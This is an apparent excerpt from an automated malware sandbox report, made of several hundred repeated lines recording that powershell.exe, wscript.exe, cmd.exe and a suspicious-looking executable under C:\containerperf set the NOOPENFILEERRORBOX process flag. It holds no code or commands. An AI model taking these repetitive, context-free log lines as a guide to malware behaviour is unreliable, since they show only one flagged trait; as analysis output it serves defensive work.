Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
